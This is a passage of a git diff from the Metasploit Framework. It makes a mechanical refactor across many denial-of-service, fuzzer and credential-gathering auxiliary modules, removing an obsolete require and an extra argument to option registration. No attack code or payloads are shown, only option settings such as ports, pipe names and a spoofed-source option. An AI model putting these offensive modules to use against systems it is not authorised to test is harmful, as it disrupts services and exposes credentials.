a/modules/auxiliary/dos/windows/http/pi3web_isapi.rb +++ b/modules/auxiliary/dos/windows/http/pi3web_isapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient diff --git a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb index f8be0ff9d5..b9b2b49767 100644 --- a/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb +++ b/modules/auxiliary/dos/windows/llmnr/ms11_030_dnsapi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/windows/nat/nat_helper.rb b/modules/auxiliary/dos/windows/nat/nat_helper.rb index d251700318..5a1eb1359d 100644 --- a/modules/auxiliary/dos/windows/nat/nat_helper.rb +++ b/modules/auxiliary/dos/windows/nat/nat_helper.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary ], 'DisclosureDate' => 'Oct 26 2006')) - register_options([Opt::RPORT(53),], self.class) + register_options([Opt::RPORT(53),]) end def run diff --git a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb index a64a28454f..b6ceeb9508 100644 --- a/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb +++ b/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Report @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ Opt::RPORT(3389) - ], self.class) + ]) end def is_rdp_up diff --git a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb index e1e0065efc..9385917d5b 100644 --- a/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb +++ b/modules/auxiliary/dos/windows/smb/ms05_047_pnp.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DCERPC @@ -37,7 +35,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (browser, srvsvc, wkssvc, ntsvcs)", 'browser']), - ], self.class) + ]) end =begin diff --git a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb index 29ec0f804c..bc36dd24fb 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_035_mailslot.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -45,7 +43,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('MAILSLOT', [ true, "The mailslot name to use", 'Alerter']), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb index d5a480e758..ecfdb5b41d 100644 --- a/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb +++ b/modules/auxiliary/dos/windows/smb/ms06_063_trans.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb index 6763919a40..8d5e12725d 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_negotiate_pidhigh.rb @@ -33,7 +33,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(445), OptInt.new('OFFSET', [true, 'The function table offset to call', 0xffff]) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb index 41a1ad0808..73a2aee236 100644 --- a/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb +++ b/modules/auxiliary/dos/windows/smb/ms09_050_smb2_session_logoff.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary ] )) - register_options( [ Opt::RPORT( 445 ) ], self.class ) + register_options( [ Opt::RPORT( 445 ) ]) end def run diff --git a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb index 08c0cb47db..12119dace0 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_006_negotiate_response_loop.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptPort.new('SRVPORT', [ true, "The SMB port to listen on", 445 ]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb index 5cff79cdfd..bee4692a74 100644 --- a/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb +++ b/modules/auxiliary/dos/windows/smb/ms10_054_queryfs_pool_overflow.rb @@ -34,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(445), OptString.new('SMBSHARE', [ true, "The name of a readable share on the server" ]) - ], self.class) + ]) end # Perform a transaction2 request using the specified subcommand, parameters, and data diff --git a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb index 46aaf309f2..fd909a6ac2 100644 --- a/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb +++ b/modules/auxiliary/dos/windows/smb/ms11_019_electbowser.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(138), OptString.new('DOMAIN', [ true, "The name of the domain that the target controls" ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb index 1b6a17314a..2ba39838ce 100644 --- a/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb +++ b/modules/auxiliary/dos/windows/smb/rras_vls_null_deref.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SMBPIPE', [ true, "The pipe name to use (ROUTER, SRVSVC)", 'ROUTER']), - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb index 70abc3470a..4d8b1dcf70 100644 --- a/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb +++ b/modules/auxiliary/dos/windows/smb/vista_negotiate_stop.rb @@ -25,7 +25,7 @@ class MetasploitModule < Msf::Auxiliary ] )) - register_options([Opt::RPORT(445)], self.class) + register_options([Opt::RPORT(445)]) end def run diff --git a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb index 97e837d932..67ddf185c6 100644 --- a/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb +++ b/modules/auxiliary/dos/windows/smtp/ms06_019_exchange.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -34,7 +32,7 @@ class MetasploitModule < Msf::Auxiliary register_options( [ OptString.new('SUBJECT', [ true, 'The subject of the e-mail', 're: Your Brains']) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb index 1729724e16..252c016f3a 100644 --- a/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb +++ b/modules/auxiliary/dos/windows/ssh/sysax_sshd_kexchange.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -32,7 +30,7 @@ class MetasploitModule < Msf::Auxiliary [ Opt::RPORT(22), OptString.new('CLIENTVERSION', [ true, 'The SSH client version to report.', 'Debian-5ubuntu1']) - ], self.class) + ]) end diff --git a/modules/auxiliary/dos/windows/tftp/pt360_write.rb b/modules/auxiliary/dos/windows/tftp/pt360_write.rb index 6f15b331b3..3bbcfa53bc 100644 --- a/modules/auxiliary/dos/windows/tftp/pt360_write.rb +++ b/modules/auxiliary/dos/windows/tftp/pt360_write.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/windows/tftp/solarwinds.rb b/modules/auxiliary/dos/windows/tftp/solarwinds.rb index 9c11bf9139..a54751c7cf 100644 --- a/modules/auxiliary/dos/windows/tftp/solarwinds.rb +++ b/modules/auxiliary/dos/windows/tftp/solarwinds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp diff --git a/modules/auxiliary/dos/wireshark/capwap.rb b/modules/auxiliary/dos/wireshark/capwap.rb index a04ee8e064..e6ca760629 100644 --- a/modules/auxiliary/dos/wireshark/capwap.rb +++ b/modules/auxiliary/dos/wireshark/capwap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary 'DisclosureDate' => 'Apr 28 2014')) # Protocol capwap needs port 5247 to trigger the dissector in wireshark - register_options([ Opt::RPORT(5247) ], self.class) + register_options([ Opt::RPORT(5247) ]) end def run diff --git a/modules/auxiliary/dos/wireshark/chunked.rb b/modules/auxiliary/dos/wireshark/chunked.rb index ec7fab9c22..3894289068 100644 --- a/modules/auxiliary/dos/wireshark/chunked.rb +++ b/modules/auxiliary/dos/wireshark/chunked.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -30,7 +28,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptInt.new('SPORT', [true, 'The source port used to send the malicious HTTP response', 80]), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/dos/wireshark/cldap.rb b/modules/auxiliary/dos/wireshark/cldap.rb index edbef44b07..f1d6d3dd37 100644 --- a/modules/auxiliary/dos/wireshark/cldap.rb +++ b/modules/auxiliary/dos/wireshark/cldap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Udp @@ -31,7 +29,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptInt.new('RPORT', [true, 'The destination port', 389]), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]) - ], self.class) + ]) end def run diff --git a/modules/auxiliary/dos/wireshark/ldap.rb b/modules/auxiliary/dos/wireshark/ldap.rb index 5bb4d778e9..ba92d4c17f 100644 --- a/modules/auxiliary/dos/wireshark/ldap.rb +++ b/modules/auxiliary/dos/wireshark/ldap.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Capture @@ -29,7 +27,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptInt.new('RPORT', [true, 'The destination port', 389]), OptAddress.new('SHOST', [false, 'This option can be used to specify a spoofed source address', nil]) - ], self.class) + ]) deregister_options('FILTER','PCAPFILE') end diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 92f34718aa..7c1d312e20 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'bindata' class MetasploitModule < Msf::Auxiliary @@ -50,7 +49,7 @@ class MetasploitModule < Msf::Auxiliary # RR accepted values: KEY,GPOS,LOC,NXT,EID,NIMLOC,ATMA,KX,CERT,A6,DNAME,SINK,OPT,APL,SSHFP,IPSECKEY # RR accepted values: DHCID,HIP,NINFO,RKEY,TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG,IXFR,AXFR,MAILB # RR accepted values: MAIL,*,TA,DLV,RESERVED - ], self.class) + ]) end class Dns_header < BinData::Record diff --git a/modules/auxiliary/fuzzers/ftp/client_ftp.rb b/modules/auxiliary/fuzzers/ftp/client_ftp.rb index ec91476c4f..7806deeafe 100644 --- a/modules/auxiliary/fuzzers/ftp/client_ftp.rb +++ b/modules/auxiliary/fuzzers/ftp/client_ftp.rb @@ -8,8 +8,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Exploit::Remote::TcpServer @@ -39,7 +37,7 @@ class MetasploitModule < Msf::Auxiliary OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's (fuzzing payload).",true]), OptBool.new('ERROR', [ true, "Reply with error codes only",false]), OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true]) - ], self.class) + ]) end diff --git a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb index 6901b150b8..df6d100992 100644 --- a/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb +++ b/modules/auxiliary/fuzzers/ftp/ftp_pre_post.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Auxiliary::Scanner @@ -33,7 +31,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASS', [ false, "Password",'mozilla@example.com']), OptBool.new('FASTFUZZ', [ false, "Only fuzz with cyclic pattern",true]), OptBool.new('CONNRESET', [ false, "Break on CONNRESET error",true]), - ], self.class) + ]) deregister_options('RHOST') @evilchars = [ @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Auxiliary [ OptString.new('FtpCommands', [ false, "Commands to fuzz at stages 4 and 5",@commands.join(" ")]), OptBool.new('ExpandCrash', [ false, "Expand any crash strings",false]), - ], self.class) + ]) end diff --git a/modules/auxiliary/fuzzers/http/http_form_field.rb b/modules/auxiliary/fuzzers/http/http_form_field.rb index 737baefe67..7bc7c6bcaa 100644 --- a/modules/auxiliary/fuzzers/http/http_form_field.rb +++ b/modules/auxiliary/fuzzers/http/http_form_field.rb @@ -9,8 +9,6 @@ # ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -53,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('TYPES', [ true, "Field types to fuzz","text,password,inputtextbox"]), OptString.new('CODE', [ true, "Response code(s) indicating OK", "200,301,302,303" ] ), OptBool.new('HANDLECOOKIES', [ true, "Appends cookies with every request.",false]) - ], self.class ) + ]) end def init_vars diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb index 9aa76fb03e..3ada9f295a 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_long.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_long.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -25,7 +23,7 @@ class MetasploitModule < Msf::Auxiliary OptInt.new("MAXLENGTH", [true, "The longest string length to try", 16384] ), OptString.new("URIBASE", [true, "The base URL to use for the request fuzzer", "/"]), OptString.new("VHOST", [false, "The virtual host name to use in requests"]) - ], self.class) + ]) end def do_http_get(uri='',opts={}) diff --git a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb index ef23f1f7e5..23e9ef24c0 100644 --- a/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb +++ b/modules/auxiliary/fuzzers/http/http_get_uri_strings.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(80), OptString.new("VHOST", [false, "The virtual host name to use in requests"]), OptString.new("URIBASE", [true, "The base URL to use for the request fuzzer", "/"]) - ], self.class) + ]) end def do_http_get(uri='',opts={}) diff --git a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb index 1168560d9d..7bf389b4be 100644 --- a/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb +++ b/modules/auxiliary/fuzzers/ntp/ntp_protocol_fuzzer.rb @@ -4,7 +4,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'rex/proto/ntp' require 'securerandom' @@ -48,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary Opt::RPORT(123), OptInt.new('SLEEP', [true, 'Sleep for this many ms between requests', 0]), OptInt.new('WAIT', [true, 'Wait this many ms for responses', 250]) - ], self.class) + ]) register_advanced_options( [ @@ -57,7 +56,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('MODE_6_OPERATIONS', [false, 'Mode 6 operations to fuzz (csv)']), OptString.new('MODE_7_IMPLEMENTATIONS', [false, 'Mode 7 implementations to fuzz (csv)']), OptString.new('MODE_7_REQUEST_CODES', [false, 'Mode 7 request codes to fuzz (csv)']) - ], self.class) + ]) end def sleep_time diff --git a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb index d9ab59f73c..ebe0174888 100644 --- a/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb2_negotiate_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(445), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) - ], self.class) + ]) end def do_smb_negotiate(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb index 2cca415efe..aa041c0030 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb index a7779eb25f..d26333d7b0 100644 --- a/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_create_pipe_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']), OptString.new('SMBPIPE', [true, 'Specify the pipe name to corrupt', "\\BROWSER"]) - ], self.class) + ]) end def do_smb_login(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb index 43f2f3d00c..d7ef328fe6 100644 --- a/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_negotiate_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(445), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) - ], self.class) + ]) end def do_smb_negotiate(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb index fbd70d10d0..0c90627833 100644 --- a/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -24,7 +22,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(445), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) - ], self.class) + ]) end def do_smb_login(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb index 78fabd2f8d..4fa3d732a6 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb index e8e1e0a081..596b79a149 100644 --- a/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb +++ b/modules/auxiliary/fuzzers/smb/smb_tree_connect_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']), OptString.new('SMBTREE', [true, 'Specify the tree name to corrupt', "\\\\SERVER\\IPC$"]) - ], self.class) + ]) end def do_smb_tree(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb index 2e89edc31a..7f0e03de06 100644 --- a/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb +++ b/modules/auxiliary/fuzzers/smtp/smtp_fuzzer.rb @@ -8,8 +8,6 @@ # It allows to respect the order or just throw everything at it.... ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::Smtp @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary 'VRFY', 'EXPN' ], 'EHLO']) - ], self.class) + ]) end def smtp_send(data='', con=true) diff --git a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb index 6f14b476c8..b0a0be634c 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(22), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) - ], self.class) + ]) end def do_ssh_kexinit(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb index ab17f04b9b..542a11a7e1 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_15.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary )) register_options([ Opt::RPORT(22) - ], self.class) + ]) end def do_ssh_version(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb index c08d8075ee..3cfbec6b0c 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -22,7 +20,7 @@ class MetasploitModule < Msf::Auxiliary )) register_options([ Opt::RPORT(22) - ], self.class) + ]) end def do_ssh_version(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb index 3f3c58f872..6f5e3b65ab 100644 --- a/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb +++ b/modules/auxiliary/fuzzers/ssh/ssh_version_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary @@ -23,7 +21,7 @@ class MetasploitModule < Msf::Auxiliary register_options([ Opt::RPORT(22), OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test']) - ], self.class) + ]) end def do_ssh_version(pkt,opts={}) diff --git a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb index c65762796b..05521f4c39 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_corrupt.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/fuzzers/tds/tds_login_username.rb b/modules/auxiliary/fuzzers/tds/tds_login_username.rb index 0f8d5520de..625a5452bc 100644 --- a/modules/auxiliary/fuzzers/tds/tds_login_username.rb +++ b/modules/auxiliary/fuzzers/tds/tds_login_username.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary diff --git a/modules/auxiliary/gather/advantech_webaccess_creds.rb b/modules/auxiliary/gather/advantech_webaccess_creds.rb index 61b9a30a37..61673a7a14 100644 --- a/modules/auxiliary/gather/advantech_webaccess_creds.rb +++ b/modules/auxiliary/gather/advantech_webaccess_creds.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -36,7 +34,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('WEBACCESSUSER', [true, 'Username for Advantech WebAccess', 'admin']), OptString.new('WEBACCESSPASS', [false, 'Password for Advantech WebAccess', '']), OptString.new('TARGETURI', [true, 'The base path to Advantech WebAccess', '/']), - ], self.class) + ]) end def do_login diff --git a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb index 06aa0639ed..663f078691 100644 --- a/modules/auxiliary/gather/alienvault_iso27001_sqli.rb +++ b/modules/auxiliary/gather/alienvault_iso27001_sqli.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -42,7 +40,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('USERNAME', [ true, 'Single username' ]), OptString.new('PASSWORD', [ true, 'Single password' ]), OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]) - ], self.class) + ]) end diff --git a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb index 3fc5e20342..6cdae48d23 100644 --- a/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb +++ b/modules/auxiliary/gather/alienvault_newpolicyform_sqli.rb @@ -3,8 +3,6 @@ ## Current source: https://github.com/rapid7/metasploit-framework ### -require 'msf/core' - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Auxiliary OptString.new('PASSWORD', [ true, 'Single password' ]), OptString.new('TARGETURI', [ true, 'Relative URI of installation', '/' ]), OptInt.new('SQLI_TIMEOUT', [ true, 